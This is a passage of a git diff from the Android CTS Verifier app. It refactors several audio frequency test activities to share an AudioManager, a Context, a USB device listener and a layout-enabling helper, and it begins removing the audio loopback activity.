public void merge(String prefix, TestResultHistoryCollection resultHistoryCollection) {
- if (resultHistoryCollection != null) {
+ if (resultHistoryCollection != null) {
resultHistoryCollection.asSet().forEach(t-> addAll(
- prefix != null ? prefix + ":" + t.getTestName() : t.getTestName(), t.getDurations()));
- }
+ prefix != null
+ ? prefix + ":" + t.getTestName()
+ : t.getTestName(), t.getExecutionRecords()));
+ }
}
/**
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
index ffc5f41..d3af563 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyActivity.java
@@ -27,33 +27,46 @@
import android.content.Context;
import android.media.AudioDeviceCallback;
import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
import android.media.AudioManager;
-import android.media.AudioTrack;
-import android.media.AudioRecord;
-import android.media.MediaRecorder;
import android.os.Bundle;
import android.os.Handler;
-import android.os.Message;
-import android.os.SystemClock;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
-import android.widget.Button;
-import android.widget.TextView;
-import android.widget.SeekBar;
+import android.view.ViewGroup;
import android.widget.LinearLayout;
-import android.widget.ProgressBar;
/**
* Audio Frequency Test base activity
*/
public class AudioFrequencyActivity extends PassFailButtons.Activity {
private static final String TAG = "AudioFrequencyActivity";
+ private static final boolean DEBUG = true;
+
+ protected Context mContext;
+ protected AudioManager mAudioManager;
+
+ protected AudioDeviceInfo mOutputDevInfo;
+ protected AudioDeviceInfo mInputDevInfo;
public int mMaxLevel = 0;
+ //
+ // TODO - These should be refactored into a RefMicActivity class
+ // i.e. AudioFrequencyActivity <- RefMicActivity
private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ mContext = this;
+
+ mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
+ mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+ }
+
//
// Common UI Handling
protected void connectRefMicUI() {
@@ -112,20 +125,24 @@
}
+ void enableLayout(int layoutId, boolean enable) {
+ ViewGroup group = (ViewGroup)findViewById(layoutId);
+ for (int i = 0; i < group.getChildCount(); i++) {
+ group.getChildAt(i).setEnabled(enable);
+ }
+ }
+
public void setMaxLevel() {
- AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- mMaxLevel = am.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
- am.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(mMaxLevel), 0);
+ mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(mMaxLevel), 0);
}
public void setMinLevel() {
- AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- am.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0);
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0);
}
public void testMaxLevel() {
- AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- int currentLevel = am.getStreamVolume(AudioManager.STREAM_MUSIC);
+ int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
Log.i(TAG, String.format("Max level: %d curLevel: %d", mMaxLevel, currentLevel));
if (currentLevel != mMaxLevel) {
new AlertDialog.Builder(this)
@@ -137,30 +154,19 @@
}
public int getMaxLevelForStream(int streamType) {
- AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- if (am != null) {
- return am.getStreamMaxVolume(streamType);
- }
- return -1;
+ return mAudioManager.getStreamMaxVolume(streamType);
}
public void setLevelForStream(int streamType, int level) {
- AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- if (am != null) {
- try {
- am.setStreamVolume(streamType, level, 0);
- } catch (Exception e) {
- Log.e(TAG, "Error setting stream volume: ", e);
- }
+ try {
+ mAudioManager.setStreamVolume(streamType, level, 0);
+ } catch (Exception e) {
+ Log.e(TAG, "Error setting stream volume: ", e);
}
}
public int getLevelForStream(int streamType) {
- AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- if (am != null) {
- return am.getStreamVolume(streamType);
- }
- return -1;
+ return mAudioManager.getStreamVolume(streamType);
}
public void enableUILayout(LinearLayout layout, boolean enable) {
@@ -170,4 +176,47 @@
}
}
+ private void scanPeripheralList(AudioDeviceInfo[] devices) {
+ // Can't just use the first record because then we will only get
+ // Source OR sink, not both even on devices that are both.
+ mOutputDevInfo = null;
+ mInputDevInfo = null;
+
+ // Any valid peripherals
+ for(AudioDeviceInfo devInfo : devices) {
+ if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
+ devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
+ if (devInfo.isSink()) {
+ mOutputDevInfo = devInfo;
+ }
+ if (devInfo.isSource()) {
+ mInputDevInfo = devInfo;
+ }
+ }
+ }
+
+ }
+
+ private class ConnectListener extends AudioDeviceCallback {
+ /*package*/ ConnectListener() {}
+
+ //
+ // AudioDevicesManager.OnDeviceConnectionListener
+ //
+ @Override
+ public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+ // Log.i(TAG, "onAudioDevicesAdded() num:" + addedDevices.length);
+
+ scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+ }
+
+ @Override
+ public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+ // Log.i(TAG, "onAudioDevicesRemoved() num:" + removedDevices.length);
+
+ scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+ }
+ }
+
+// abstract public void updateConnectStatus();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
index 944f7bf..1ee118d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
@@ -16,20 +16,13 @@
package com.android.cts.verifier.audio;
-import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
import com.android.cts.verifier.audio.wavelib.*;
import com.android.compatibility.common.util.ReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
-import android.app.AlertDialog;
-import android.content.Context;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
import android.media.AudioRecord;
import android.media.MediaRecorder;
import android.os.Bundle;
@@ -41,8 +34,6 @@
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
import android.widget.ProgressBar;
/**
@@ -59,13 +50,11 @@
static final double MIN_FRACTION_POINTS_IN_BAND = 0.3;
OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
- Context mContext;
Button mHeadsetPortYes;
Button mHeadsetPortNo;
Button mLoopbackPlugReady;
- LinearLayout mLinearLayout;
Button mTestButton;
TextView mResultText;
ProgressBar mProgressBar;
@@ -109,7 +98,7 @@
case R.id.audio_frequency_line_plug_ready_btn:
Log.i(TAG, "audio loopback plug ready");
//enable all the other views.
- enableLayout(true);
+ enableLayout(R.id.audio_frequency_line_layout,true);
setMaxLevel();
testMaxLevel();
break;
@@ -140,8 +129,6 @@
super.onCreate(savedInstanceState);
setContentView(R.layout.audio_frequency_line_activity);
- mContext = this;
-
mHeadsetPortYes = (Button)findViewById(R.id.audio_general_headset_yes);
mHeadsetPortYes.setOnClickListener(mBtnClickListener);
mHeadsetPortNo = (Button)findViewById(R.id.audio_general_headset_no);
@@ -150,16 +137,15 @@
mLoopbackPlugReady = (Button)findViewById(R.id.audio_frequency_line_plug_ready_btn);
mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
mLoopbackPlugReady.setEnabled(false);
- mLinearLayout = (LinearLayout)findViewById(R.id.audio_frequency_line_layout);
mTestButton = (Button)findViewById(R.id.audio_frequency_line_test_btn);
mTestButton.setOnClickListener(mBtnClickListener);
mResultText = (TextView)findViewById(R.id.audio_frequency_line_results_text);
mProgressBar = (ProgressBar)findViewById(R.id.audio_frequency_line_progress_bar);
showWait(false);
- enableLayout(false); //disabled all content
+ enableLayout(R.id.audio_frequency_line_layout, false); //disabled all content
mSPlayer = new SoundPlayerObject();
- mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.stereo_mono_white_noise_48);
+ mSPlayer.setSoundWithResId(mContext, R.raw.stereo_mono_white_noise_48);
mSPlayer.setBalance(0.5f);
//Init FFT stuff
@@ -200,16 +186,6 @@
}
/**
- * enable test ui elements
- */
- private void enableLayout(boolean enable) {
- for (int i = 0; i < mLinearLayout.getChildCount(); i++) {
- View view = mLinearLayout.getChildAt(i);
- view.setEnabled(enable);
- }
- }
-
- /**
* show active progress bar
*/
private void showWait(boolean show) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
index e296f86..db691b6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyMicActivity.java
@@ -16,23 +16,18 @@
package com.android.cts.verifier.audio;
-import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
import com.android.cts.verifier.audio.wavelib.*;
import com.android.compatibility.common.util.ReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
import android.content.BroadcastReceiver;
import android.content.Intent;
import android.content.IntentFilter;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
-import android.media.AudioManager;
import android.media.AudioTrack;
import android.media.AudioRecord;
import android.media.MediaRecorder;
@@ -49,8 +44,6 @@
import android.widget.Button;
import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
import android.widget.ProgressBar;
/**
@@ -85,21 +78,14 @@
private static final int TEST_DURATION_USB_NOISE = TEST_DURATION_DEFAULT;
final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
- Context mContext;
- LinearLayout mLayoutTestNoise;
- Button mButtonTestNoise;
ProgressBar mProgressNoise;
TextView mResultTestNoise;
Button mButtonPlayNoise;
- LinearLayout mLayoutTestUsbBackground;
- Button mButtonTestUsbBackground;
ProgressBar mProgressUsbBackground;
TextView mResultTestUsbBackground;
- LinearLayout mLayoutTestUsbNoise;
- Button mButtonTestUsbNoise;
ProgressBar mProgressUsbNoise;
TextView mResultTestUsbNoise;
Button mButtonPlayUsbNoise;
@@ -141,33 +127,25 @@
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.audio_frequency_mic_activity);
- mContext = this;
//Test Noise
- mLayoutTestNoise = (LinearLayout) findViewById(R.id.frequency_mic_layout_test_noise);
- mButtonTestNoise = (Button) findViewById(R.id.frequency_mic_test_noise_btn);
- mButtonTestNoise.setOnClickListener(mBtnClickListener);
+ findViewById(R.id.frequency_mic_test_noise_btn).setOnClickListener(mBtnClickListener);
mProgressNoise = (ProgressBar) findViewById(R.id.frequency_mic_test_noise_progress_bar);
mResultTestNoise = (TextView) findViewById(R.id.frequency_mic_test_noise_result);
mButtonPlayNoise = (Button) findViewById(R.id.frequency_mic_play_noise_btn);
mButtonPlayNoise.setOnClickListener(mBtnClickListener);
showWait(mProgressNoise, false);
- //USB Background
- mLayoutTestUsbBackground = (LinearLayout)
- findViewById(R.id.frequency_mic_layout_test_usb_background);
- mButtonTestUsbBackground = (Button)
- findViewById(R.id.frequency_mic_test_usb_background_btn);
- mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
+ //USB Background
+ findViewById(R.id.frequency_mic_test_usb_background_btn).
+ setOnClickListener(mBtnClickListener);
mProgressUsbBackground = (ProgressBar)
findViewById(R.id.frequency_mic_test_usb_background_progress_bar);
mResultTestUsbBackground = (TextView)
findViewById(R.id.frequency_mic_test_usb_background_result);
showWait(mProgressUsbBackground, false);
- mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.frequency_mic_layout_test_usb_noise);
- mButtonTestUsbNoise = (Button) findViewById(R.id.frequency_mic_test_usb_noise_btn);
- mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
+ findViewById(R.id.frequency_mic_test_usb_noise_btn).setOnClickListener(mBtnClickListener);
mProgressUsbNoise = (ProgressBar)
findViewById(R.id.frequency_mic_test_usb_noise_progress_bar);
mResultTestUsbNoise = (TextView) findViewById(R.id.frequency_mic_test_usb_noise_result);
@@ -178,7 +156,7 @@
mGlobalResultText = (TextView) findViewById(R.id.frequency_mic_test_global_result);
mSPlayer = new SoundPlayerObject();
- mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.stereo_mono_white_noise_48);
+ mSPlayer.setSoundWithResId(mContext, R.raw.stereo_mono_white_noise_48);
mSPlayer.setBalance(0.5f);
//Init FFT stuff
@@ -245,13 +223,13 @@
// Overrides
//
void enableTestUI(boolean enable) {
- mButtonTestNoise.setEnabled(enable);
- mButtonPlayNoise.setEnabled(enable);
+ enableLayout(R.id.frequency_mic_layout_test_noise_dut_buttons, enable);
+ enableLayout(R.id.frequency_mic_layout_test_noise_src_buttons, enable);
- mButtonTestUsbBackground.setEnabled(enable);
+ enableLayout(R.id.frequency_mic_layout_test_usb_background_dut_buttons, enable);
- mButtonTestUsbNoise.setEnabled(enable);
- mButtonPlayUsbNoise.setEnabled(enable);
+ enableLayout(R.id.frequency_mic_layout_test_usb_noise_dut_buttons, enable);
+ enableLayout(R.id.frequency_mic_layout_test_usb_noise_src_buttons, enable);
}
private void playerToggleButton(int buttonId) {
@@ -314,16 +292,6 @@
}
}
- /**
- * enable test ui elements
- */
- private void enableLayout(LinearLayout layout, boolean enable) {
- for (int i = 0; i < layout.getChildCount(); i++) {
- View view = layout.getChildAt(i);
- view.setEnabled(enable);
- }
- }
-
private void showWait(ProgressBar pb, boolean show) {
if (show) {
pb.setVisibility(View.VISIBLE);
@@ -465,7 +433,7 @@
mCurrentTest = mTestId;
sendMessage(mTestId, TEST_STARTED,"");
mUsbMicConnected =
- UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+ UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
};
public void record(int durationMs) {
startRecording();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
index f954b0c..968d343 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencySpeakerActivity.java
@@ -16,22 +16,16 @@
package com.android.cts.verifier.audio;
-import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
import com.android.cts.verifier.audio.wavelib.*;
import com.android.compatibility.common.util.ReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
import android.content.BroadcastReceiver;
import android.content.Intent;
import android.content.IntentFilter;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
import android.media.AudioRecord;
import android.media.MediaRecorder;
@@ -47,8 +41,6 @@
import android.widget.Button;
import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
import android.widget.ProgressBar;
/**
@@ -66,12 +58,10 @@
static final double MIN_FRACTION_POINTS_IN_BAND = 0.3;
final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
- Context mContext;
Button mLoopbackPlugReady; //user signal to have connected USB Microphone
Button mTestButton; //user to start test
String mUsbDevicesInfo; //usb device info for report
- LinearLayout mLinearLayout;
TextView mResultText;
TextView mUsbStatusText;
ProgressBar mProgressBar;
@@ -131,21 +121,18 @@
super.onCreate(savedInstanceState);
setContentView(R.layout.audio_frequency_speaker_activity);
- mContext = this;
-
mLoopbackPlugReady = (Button)findViewById(R.id.audio_frequency_speaker_mic_ready_btn);
mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
- mLinearLayout = (LinearLayout)findViewById(R.id.audio_frequency_speaker_layout);
mUsbStatusText = (TextView)findViewById(R.id.audio_frequency_speaker_usb_status);
mTestButton = (Button)findViewById(R.id.audio_frequency_speaker_test_btn);
mTestButton.setOnClickListener(mBtnClickListener);
mResultText = (TextView)findViewById(R.id.audio_frequency_speaker_results_text);
mProgressBar = (ProgressBar)findViewById(R.id.audio_frequency_speaker_progress_bar);
showWait(false);
- enableLayout(false); //disabled all content
+ enableLayout(R.id.audio_frequency_speaker_layout,false); //disabled all content
mSPlayer = new SoundPlayerObject();
- mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.stereo_mono_white_noise_48);
+ mSPlayer.setSoundWithResId(mContext, R.raw.stereo_mono_white_noise_48);
mSPlayer.setBalance(0.5f);
//Init FFT stuff
@@ -217,16 +204,6 @@
}
/**
- * enable test ui elements
- */
- private void enableLayout(boolean enable) {
- for (int i = 0; i < mLinearLayout.getChildCount(); i++) {
- mLoopbackPlugReady.setEnabled(enable);
- mTestButton.setEnabled(enable);
- }
- }
-
- /**
* show active progress bar
*/
private void showWait(boolean show) {
@@ -721,17 +698,17 @@
}
private void testUSB() {
- boolean isConnected = UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
- mUsbDevicesInfo = UsbMicrophoneTester.getUSBDeviceListString(getApplicationContext());
+ boolean isConnected = UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
+ mUsbDevicesInfo = UsbMicrophoneTester.getUSBDeviceListString(mContext);
if (isConnected) {
mUsbStatusText.setText(
getResources().getText(R.string.audio_frequency_speaker_mic_ready_text));
- enableLayout(true);
+ enableLayout(R.id.audio_frequency_speaker_layout, true);
} else {
mUsbStatusText.setText(
getResources().getText(R.string.audio_frequency_speaker_mic_not_ready_text));
- enableLayout(false);
+ enableLayout(R.id.audio_frequency_speaker_layout, false);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
index fb8460b..c33a7cf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
@@ -16,19 +16,12 @@
package com.android.cts.verifier.audio;
-import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
import com.android.cts.verifier.audio.wavelib.*;
import com.android.compatibility.common.util.ReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
-import android.content.BroadcastReceiver;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
import android.media.AudioManager;
import android.media.AudioTrack;
@@ -43,8 +36,6 @@
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
-import android.widget.SeekBar;
-import android.widget.LinearLayout;
import android.widget.ProgressBar;
/**
@@ -85,26 +76,21 @@
private static final int TEST_DURATION_USB_NOISE = TEST_DURATION_DEFAULT;
final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
- Context mContext;
- LinearLayout mLayoutTestTone;
Button mButtonTestTone;
ProgressBar mProgressTone;
TextView mResultTestTone;
Button mButtonPlayTone;
- LinearLayout mLayoutTestNoise;
Button mButtonTestNoise;
ProgressBar mProgressNoise;
TextView mResultTestNoise;
Button mButtonPlayNoise;
- LinearLayout mLayoutTestUsbBackground;
Button mButtonTestUsbBackground;
ProgressBar mProgressUsbBackground;
TextView mResultTestUsbBackground;
- LinearLayout mLayoutTestUsbNoise;
Button mButtonTestUsbNoise;
ProgressBar mProgressUsbNoise;
TextView mResultTestUsbNoise;
@@ -164,7 +150,6 @@
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.audio_frequency_unprocessed_activity);
- mContext = this;
mTextViewUnprocessedStatus = (TextView) findViewById(
R.id.audio_frequency_unprocessed_defined);
//unprocessed test
@@ -181,7 +166,6 @@
playerSetSource(SOURCE_TONE);
// Test tone
- mLayoutTestTone = (LinearLayout) findViewById(R.id.unprocessed_layout_test_tone);
mButtonTestTone = (Button) findViewById(R.id.unprocessed_test_tone_btn);
mButtonTestTone.setOnClickListener(mBtnClickListener);
mProgressTone = (ProgressBar) findViewById(R.id.unprocessed_test_tone_progress_bar);
@@ -191,7 +175,6 @@
showWait(mProgressTone, false);
//Test Noise
- mLayoutTestNoise = (LinearLayout) findViewById(R.id.unprocessed_layout_test_noise);
mButtonTestNoise = (Button) findViewById(R.id.unprocessed_test_noise_btn);
mButtonTestNoise.setOnClickListener(mBtnClickListener);
mProgressNoise = (ProgressBar) findViewById(R.id.unprocessed_test_noise_progress_bar);
@@ -201,8 +184,6 @@
showWait(mProgressNoise, false);
//USB Background
- mLayoutTestUsbBackground = (LinearLayout)
- findViewById(R.id.unprocessed_layout_test_usb_background);
mButtonTestUsbBackground = (Button) findViewById(R.id.unprocessed_test_usb_background_btn);
mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
mProgressUsbBackground = (ProgressBar)
@@ -211,7 +192,6 @@
findViewById(R.id.unprocessed_test_usb_background_result);
showWait(mProgressUsbBackground, false);
- mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.unprocessed_layout_test_usb_noise);
mButtonTestUsbNoise = (Button) findViewById(R.id.unprocessed_test_usb_noise_btn);
mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
mProgressUsbNoise = (ProgressBar)findViewById(R.id.unprocessed_test_usb_noise_progress_bar);
@@ -365,11 +345,11 @@
private void playerSetSource(int sourceIndex) {
switch (sourceIndex) {
case SOURCE_TONE:
- mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.onekhztone);
+ mSPlayer.setSoundWithResId(mContext, R.raw.onekhztone);
break;
default:
case SOURCE_NOISE:
- mSPlayer.setSoundWithResId(getApplicationContext(),
+ mSPlayer.setSoundWithResId(mContext,
R.raw.stereo_mono_white_noise_48);
break;
}
@@ -393,16 +373,6 @@
}
}
- /**
- * enable test ui elements
- */
- private void enableLayout(LinearLayout layout, boolean enable) {
- for (int i = 0; i < layout.getChildCount(); i++) {
- View view = layout.getChildAt(i);
- view.setEnabled(enable);
- }
- }
-
private void showWait(ProgressBar pb, boolean show) {
if (show) {
pb.setVisibility(View.VISIBLE);
@@ -468,8 +438,7 @@
private boolean supportsUnprocessed() {
boolean unprocessedSupport = false;
- AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- String unprocessedSupportString = am.getProperty(
+ String unprocessedSupportString = mAudioManager.getProperty(
AudioManager.PROPERTY_SUPPORT_AUDIO_SOURCE_UNPROCESSED);
Log.v(TAG,"unprocessed support: " + unprocessedSupportString);
if (unprocessedSupportString == null ||
@@ -790,7 +759,7 @@
mCurrentTest = mTestId;
sendMessage(mTestId, TEST_STARTED,"");
mUsbMicConnected =
- UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+ UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
};
public void record(int durationMs) {
startRecording();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
index efe666a..d6e86cb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java
@@ -21,7 +21,6 @@
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
import android.media.AudioRecord;
import android.media.MediaRecorder;
import android.os.Bundle;
@@ -32,7 +31,6 @@
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
-import android.widget.LinearLayout;
import android.widget.ProgressBar;
/**
@@ -81,26 +79,20 @@
private boolean mTestsDone[] = new boolean[TEST_COUNT];
final OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
- private Context mContext;
-
- private LinearLayout mLayoutTestTone;
private Button mButtonTestTone;
private ProgressBar mProgressTone;
private TextView mResultTestTone;
private Button mButtonPlayTone;
- private LinearLayout mLayoutTestNoise;
private Button mButtonTestNoise;
private ProgressBar mProgressNoise;
private TextView mResultTestNoise;
private Button mButtonPlayNoise;
- private LinearLayout mLayoutTestUsbBackground;
private Button mButtonTestUsbBackground;
private ProgressBar mProgressUsbBackground;
private TextView mResultTestUsbBackground;
- private LinearLayout mLayoutTestUsbNoise;
private Button mButtonTestUsbNoise;
private ProgressBar mProgressUsbNoise;
private TextView mResultTestUsbNoise;
@@ -141,7 +133,6 @@
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.audio_frequency_voice_recognition_activity);
- mContext = this;
mSPlayer = new SoundPlayerObject();
playerSetSource(SOURCE_TONE);
@@ -221,7 +212,6 @@
};
// Test tone
- mLayoutTestTone = (LinearLayout) findViewById(R.id.vr_layout_test_tone);
mButtonTestTone = (Button) findViewById(R.id.vr_button_test_tone);
mButtonTestTone.setOnClickListener(mBtnClickListener);
mProgressTone = (ProgressBar) findViewById(R.id.vr_test_tone_progress_bar);
@@ -231,7 +221,6 @@
showWait(mProgressTone, false);
//Test Noise
- mLayoutTestNoise = (LinearLayout) findViewById(R.id.vr_layout_test_noise);
mButtonTestNoise = (Button) findViewById(R.id.vr_button_test_noise);
mButtonTestNoise.setOnClickListener(mBtnClickListener);
mProgressNoise = (ProgressBar) findViewById(R.id.vr_test_noise_progress_bar);
@@ -241,8 +230,6 @@
showWait(mProgressNoise, false);
//USB Background
- mLayoutTestUsbBackground = (LinearLayout)
- findViewById(R.id.vr_layout_test_usb_background);
mButtonTestUsbBackground = (Button) findViewById(R.id.vr_button_test_usb_background);
mButtonTestUsbBackground.setOnClickListener(mBtnClickListener);
mProgressUsbBackground = (ProgressBar)
@@ -251,7 +238,6 @@
findViewById(R.id.vr_test_usb_background_result);
showWait(mProgressUsbBackground, false);
- mLayoutTestUsbNoise = (LinearLayout) findViewById(R.id.vr_layout_test_usb_noise);
mButtonTestUsbNoise = (Button) findViewById(R.id.vr_button_test_usb_noise);
mButtonTestUsbNoise.setOnClickListener(mBtnClickListener);
mProgressUsbNoise = (ProgressBar)findViewById(R.id.vr_test_usb_noise_progress_bar);
@@ -401,11 +387,11 @@
private void playerSetSource(int sourceIndex) {
switch (sourceIndex) {
case SOURCE_TONE:
- mSPlayer.setSoundWithResId(getApplicationContext(), R.raw.onekhztone);
+ mSPlayer.setSoundWithResId(mContext, R.raw.onekhztone);
break;
default:
case SOURCE_NOISE:
- mSPlayer.setSoundWithResId(getApplicationContext(),
+ mSPlayer.setSoundWithResId(mContext,
R.raw.stereo_mono_white_noise_48);
break;
}
@@ -429,16 +415,6 @@
}
}
- /**
- * enable test ui elements
- */
- private void enableLayout(LinearLayout layout, boolean enable) {
- for (int i = 0; i < layout.getChildCount(); i++) {
- View view = layout.getChildAt(i);
- view.setEnabled(enable);
- }
- }
-
private void showWait(ProgressBar pb, boolean show) {
pb.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
}
@@ -789,7 +765,7 @@
mCurrentTest = mTestId;
sendMessage(mTestId, TEST_STARTED,"");
mUsbMicConnected =
- UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+ UsbMicrophoneTester.getIsMicrophoneConnected(mContext);
};
public void record(int durationMs) {
mSRecorder.startRecording();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java
deleted file mode 100644
index 5c3fa9f..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackActivity.java
+++ /dev/null
@@ -1,334 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-import com.android.compatibility.common.util.ReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import android.content.Context;
-
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-import android.media.MediaRecorder;
-
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-
-import android.util.Log;
-
-import android.view.View;
